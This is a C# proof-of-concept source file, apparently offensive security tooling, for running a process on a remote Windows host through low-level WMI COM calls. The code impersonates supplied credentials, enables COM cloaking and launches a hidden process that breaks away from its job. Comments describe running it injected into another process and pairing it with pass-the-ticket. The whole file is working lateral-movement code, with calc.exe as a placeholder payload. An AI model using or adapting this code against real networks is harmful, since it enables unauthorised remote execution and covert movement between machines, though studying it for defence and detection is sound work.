// Copyright (C) 2024 Evan McBroom // // The following may be used to provide backwards compatability for .NET framework versions older than 4.7.2. // It is recommended for framework versions 4.7.2 and higher to use the documented ConnectServerWmi API. // // The use of CoInitializeSecurity was previously used to instruct COM to use the executing thread's // current impersonation token when creating COM objects or interacting with their interfaces. That // caused an issue when the code was injected into another process which had already called that API // but with incompatible arguments for this technique. In such cases the code would fail on object // creation with an access denied error due to COM attempting to create the object with the process's // primary token. // // The code has been updated to remove the use of CoInitializeSecurity to avoid this issue. Now // CoCreateInstanceEx and CoSetProxyBlanket are used as needed to instruct COM to use the current // executing thread's current impersonation token when creating COM objects or interacting with their // interfaces. This same approach can be applied to the C++ version of the proof of concept. // // The OleViewDotNet namespaces include modified types from James Forshaw's OleViewDotNet project: // https://github.com/tyranid/oleviewdotnet using OleViewDotNet.Interop; using OleViewDotNet.Marshaling; using System; using System.Runtime.InteropServices; using System.Security.Principal; namespace OleViewDotNet.Interop { [Flags] public enum CLSCTX : uint { REMOTE_SERVER = 0x10, ENABLE_CLOAKING = 0x100000 } [Flags] public enum EOLE_AUTHENTICATION_CAPABILITIES { STATIC_CLOAKING = 0x20, DYNAMIC_CLOAKING = 0x40 } [Flags] public enum RPC_AUTHN_LEVEL { PKT_PRIVACY = 6 } [Flags] public enum RPC_IMP_LEVEL { IMPERSONATE = 3 } [Flags] public enum RPC_C_QOS_CAPABILITIES { None = 0 } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct COAUTHINFO { public RpcAuthnService dwAuthnSvc; public int dwAuthzSvc; [MarshalAs(UnmanagedType.LPWStr)] public string pwszServerPrincName; public RPC_AUTHN_LEVEL dwAuthnLevel; public RPC_IMP_LEVEL dwImpersonationLevel; public IntPtr pAuthIdentityData; public RPC_C_QOS_CAPABILITIES dwCapabilities; } [StructLayout(LayoutKind.Sequential)] public struct MULTI_QI : IDisposable { private IntPtr pIID; public IntPtr pItf; public int hr; void IDisposable.Dispose() { Marshal.FreeCoTaskMem(pIID); if (pItf != IntPtr.Zero) { Marshal.Release(pItf); pItf = IntPtr.Zero; } } public MULTI_QI(Guid iid) { pIID = Marshal.AllocCoTaskMem(16); Marshal.Copy(iid.ToByteArray(), 0, pIID, 16); pItf = IntPtr.Zero; hr = 0; } } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public sealed class COSERVERINFO { private readonly int dwReserved1; [MarshalAs(UnmanagedType.LPWStr)] public string pwszName; public IntPtr pAuthInfo; private readonly int dwReserved2; } internal static class NativeMethods { [DllImport("ole32.dll")] public static extern int CoCreateInstanceEx(in Guid rclsid, IntPtr punkOuter, CLSCTX dwClsCtx, IntPtr pServerInfo, int dwCount, [In, Out] MULTI_QI[] pResults); } } namespace OleViewDotNet.Marshaling { public enum RpcAuthnService : int { None = 0, Default = -1, GSS_Negotiate = 9, } } namespace ExecRemoteProcess { class Program { // Argument marshaling taking from: // https://learn.microsoft.com/en-us/dotnet/framework/interop/default-marshalling-for-objects [ComImport] [Guid("F309AD18-D86A-11d0-A075-00C04FB68820")] [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IWbemLevel1Login { [return: MarshalAs(UnmanagedType.Interface)] int EstablishPosition(/* ... */); int RequestChallenge(/* ... */); int WBEMLogin(/* ... */); int NTLMLogin([In, MarshalAs(UnmanagedType.LPWStr)] string wszNetworkResource, [In, MarshalAs(UnmanagedType.LPWStr)] string wszPreferredLocale, [In] long lFlags, [In, MarshalAs(UnmanagedType.IUnknown)] Object pCtx, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppNamespace); } [ComImport] [Guid("9556dc99-828c-11cf-a37e-00aa003240c7")] [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IWbemServices { [return: MarshalAs(UnmanagedType.Interface)] int OpenNamespace(/* ... */); int CancelAsyncCall(/* ... */); int QueryObjectSink(/* ... */); int GetObject([MarshalAs(UnmanagedType.BStr)] string strObjectPath, [In] long lFlags, [In, Optional, MarshalAs(UnmanagedType.IUnknown)] Object pCtx, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppObject, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppCallResult); int GetObjectAsync(/* ... */); int PutClass(/* ... */); int PutClassAsync(/* ... */); int DeleteClass(/* ... */); int DeleteClassAsync(/* ... */); int CreateClassEnum(/* ... */); int CreateClassEnumAsync(/* ... */); int PutInstance(/* ... */); int PutInstanceAsync(/* ... */); int DeleteInstance(/* ... */); int DeleteInstanceAsync(/* ... */); int CreateInstanceEnum(/* ... */); int CreateInstanceEnumAsync(/* ... */); int ExecQuery(/* ... */); int ExecQueryAsync(/* ... */); int ExecNotificationQuery(/* ... */); int ExecNotificationQueryAsync(/* ... */); int ExecMethod([MarshalAs(UnmanagedType.BStr)] string strObjectPath, [MarshalAs(UnmanagedType.BStr)] string strMethodName, [In] long lFlags, [In, Optional, MarshalAs(UnmanagedType.IUnknown)] Object pCtx, [In, Optional, MarshalAs(UnmanagedType.IUnknown)] Object pInParams, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppOutParams, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppCallResult); int ExecMethodAsync(/* ... */); } [ComImport] [Guid("dc12a681-737f-11cf-884d-00aa004b2e24")] [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] public interface IWbemClassObject { [return: MarshalAs(UnmanagedType.Interface)] int GetQualifierSet(/* ... */); int Get([In, MarshalAs(UnmanagedType.LPWStr)] string wszName, [In] long lFlags, [In, Out] ref Object pVal, [In, Out, Optional] ref int pType, [In, Out, Optional] ref int plFlavor); int Put([In, MarshalAs(UnmanagedType.LPWStr)] string wszName, [In] long lFlags, [In] ref Object pVal, [In, Optional] int Type); int Delete(/* ... */); int GetNames(/* ... */); int BeginEnumeration(/* ... */); int Next(/* ... */); int EndEnumeration(/* ... */); int GetPropertyQualifierSet(/* ... */); int Clone(/* ... */); int GetObjectText(/* ... */); int SpawnDerivedClass(/* ... */); int SpawnInstance([In] long lFlags, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppNewInstance); int CompareTo(/* ... */); int GetPropertyOrigin(/* ... */); int InheritsFrom(/* ... */); int GetMethod([In, MarshalAs(UnmanagedType.LPWStr)] string wszName, [In] long lFlags, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppInSignature, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppOutSignature); int PutMethod(/* ... */); int DeleteMethod(/* ... */); int BeginMethodEnumeration(/* ... */); int NextMethod(/* ... */); int EndMethodEnumeration(/* ... */); int GetMethodQualifierSet(/* ... */); int GetMethodOrigin(/* ... */); } [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] internal static extern bool LogonUser(String username, String domain, String password, int logonType, int logonProvider, ref IntPtr token); [DllImport("ole32.dll", CharSet = CharSet.Unicode)] public static extern int CoSetProxyBlanket(IntPtr pProxy, RpcAuthnService dwAuthnSvc, RpcAuthnService dwAuthzSvc, IntPtr pServerPrincName, RPC_AUTHN_LEVEL dwAuthLevel, RPC_IMP_LEVEL dwImpLevel, IntPtr pAuthInfo, EOLE_AUTHENTICATION_CAPABILITIES dwCapabilities); static public string domainName = "DOMAIN NAME"; static public string userName = "USER NAME"; static public string password = "PASSWORD"; static public string address = "IP ADDRESS OR HOST NAME"; static public string process = "calc.exe"; static public string cwd = "C:\\Windows\\System32"; static bool SetProxyBlanket(IntPtr comObject) { return CoSetProxyBlanket(comObject, RpcAuthnService.Default, RpcAuthnService.Default, IntPtr.Zero, RPC_AUTHN_LEVEL.PKT_PRIVACY, RPC_IMP_LEVEL.IMPERSONATE, IntPtr.Zero, EOLE_AUTHENTICATION_CAPABILITIES.STATIC_CLOAKING) >= 0; } static bool SetProxyBlanket(object comObject, Type interfaceType) { return SetProxyBlanket(Marshal.GetComInterfaceForObject(comObject, interfaceType)); } static void Main() { // Set an impersonation token that will use explicit credentials // when doing NTLM authentication to a remote host. Kerberos // tickets may also be added to the logon session via PTT while // the token is being impersonated. var LOGON32_LOGON_NEW_CREDENTIALS = 9; var LOGON32_PROVIDER_WINNT50 = 3; IntPtr token = IntPtr.Zero; LogonUser(userName, domainName, password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_WINNT50, ref token); var context = WindowsIdentity.Impersonate(token); // Create an object on a remote host. // For the CLSID_WbemLevel1Login object, this requires you to use Administrative credentials. // CLSID_WbemLevel1Login does not allow you to immediately query IWbemLevel1Login so you // must query for IUnknown first. var CLSID_WbemLevel1Login = new Guid("8BC3F05E-D86B-11D0-A075-00C04FB68820"); var classContext = CLSCTX.REMOTE_SERVER | CLSCTX.ENABLE_CLOAKING; // ENABLE_CLOAKING makes object creation use our impersonation token var authInfoPtr = Marshal.AllocCoTaskMem(0x100); // Buffer is larger than what is needed var authInfo = new COAUTHINFO() { dwAuthnSvc = RpcAuthnService.Default, dwAuthzSvc = 0, pwszServerPrincName = null, dwAuthnLevel = RPC_AUTHN_LEVEL.PKT_PRIVACY, dwImpersonationLevel = RPC_IMP_LEVEL.IMPERSONATE, pAuthIdentityData = IntPtr.Zero, dwCapabilities = RPC_C_QOS_CAPABILITIES.None }; Marshal.StructureToPtr(authInfo, authInfoPtr, false); var serverInfoPtr = Marshal.AllocCoTaskMem(0x100); // Buffer is larger than what is needed var serverInfo = new COSERVERINFO() { pwszName = address, pAuthInfo = authInfoPtr }; Marshal.StructureToPtr(serverInfo, serverInfoPtr, false); var IID_IUnknown = new Guid("00000000-0000-0000-C000-000000000046"); // CLSID_WbemLevel1Login requires IUnknown to be the first interface queried var multiQi = new MULTI_QI[1]; multiQi[0] = new MULTI_QI(IID_IUnknown); if (NativeMethods.CoCreateInstanceEx(CLSID_WbemLevel1Login, IntPtr.Zero, classContext, serverInfoPtr, 1, multiQi) >= 0 && multiQi[0].hr == 0) { // We need to set the proxy blanket with either STATIC_CLOAKING or DYNAMIC_CLOAKING on // every interface we acquire to instruct COM to use our current impersonation token SetProxyBlanket(multiQi[0].pItf); var wbemLevel1Login = (IWbemLevel1Login)Marshal.GetObjectForIUnknown(multiQi[0].pItf); SetProxyBlanket(wbemLevel1Login, typeof(IWbemLevel1Login)); // Connect to the required WMI namespace object output = null; var result = wbemLevel1Login.NTLMLogin("ROOT\\CIMV2", null, 0, null, ref output); var wbemServices = (IWbemServices)output; SetProxyBlanket(wbemServices, typeof(IWbemServices)); // Get an instance of Win32_Process result = wbemServices.GetObject("Win32_Process", 0, null, ref output, null); var win32Process = (IWbemClassObject)output; SetProxyBlanket(win32Process, typeof(IWbemClassObject)); // Get the signature (e.g., the definition) of the input parameters. result = win32Process.GetMethod("Create", 0, ref output, null); var inSignature = (IWbemClassObject)output; SetProxyBlanket(inSignature, typeof(IWbemClassObject)); inSignature.SpawnInstance(0, ref output); var inParameters = (IWbemClassObject)output; SetProxyBlanket(inParameters, typeof(IWbemClassObject)); // Get an instance of Win32_ProcessStartup and use it to set the ProcessStartupInformation // input parameter. result = wbemServices.GetObject("Win32_ProcessStartup", 0, null, ref output, null); inSignature = (IWbemClassObject)output; SetProxyBlanket(inSignature, typeof(IWbemClassObject)); inSignature.SpawnInstance(0, ref output); var win32ProcessStartupInstance = (IWbemClassObject)output; SetProxyBlanket(win32ProcessStartupInstance, typeof(IWbemClassObject)); var input = (object)5; // SW_HIDE result = win32ProcessStartupInstance.Put("ShowWindow", 0, ref input); input = 0x01000000; // CREATE_BREAKAWAY_FROM_JOB result = win32ProcessStartupInstance.Put("CreateFlags", 0, ref input); input = (object)win32ProcessStartupInstance; result = inParameters.Put("ProcessStartupInformation", 0, ref input); // Set the CommandLine input parameter input = (object)process; result = inParameters.Put("CommandLine", 0, ref input); input = (object)cwd; result = inParameters.Put("CurrentDirectory", 0, ref input); // Execute the Win32_Process:Create and show its output parameters. result = wbemServices.ExecMethod("Win32_Process", "Create", 0, null, inParameters, ref output, null); Object value = null; var outParameters = (IWbemClassObject)output; SetProxyBlanket(outParameters, typeof(IWbemClassObject)); outParameters.Get("ProcessId", 0, ref value); Console.Out.WriteLine("ProcessId: " + value.ToString()); outParameters.Get("ReturnValue", 0, ref value); Console.Out.WriteLine("ReturnValue: " + value.ToString()); Console.In.ReadLine(); } Marshal.FreeCoTaskMem(authInfoPtr); Marshal.FreeCoTaskMem(serverInfoPtr); } } }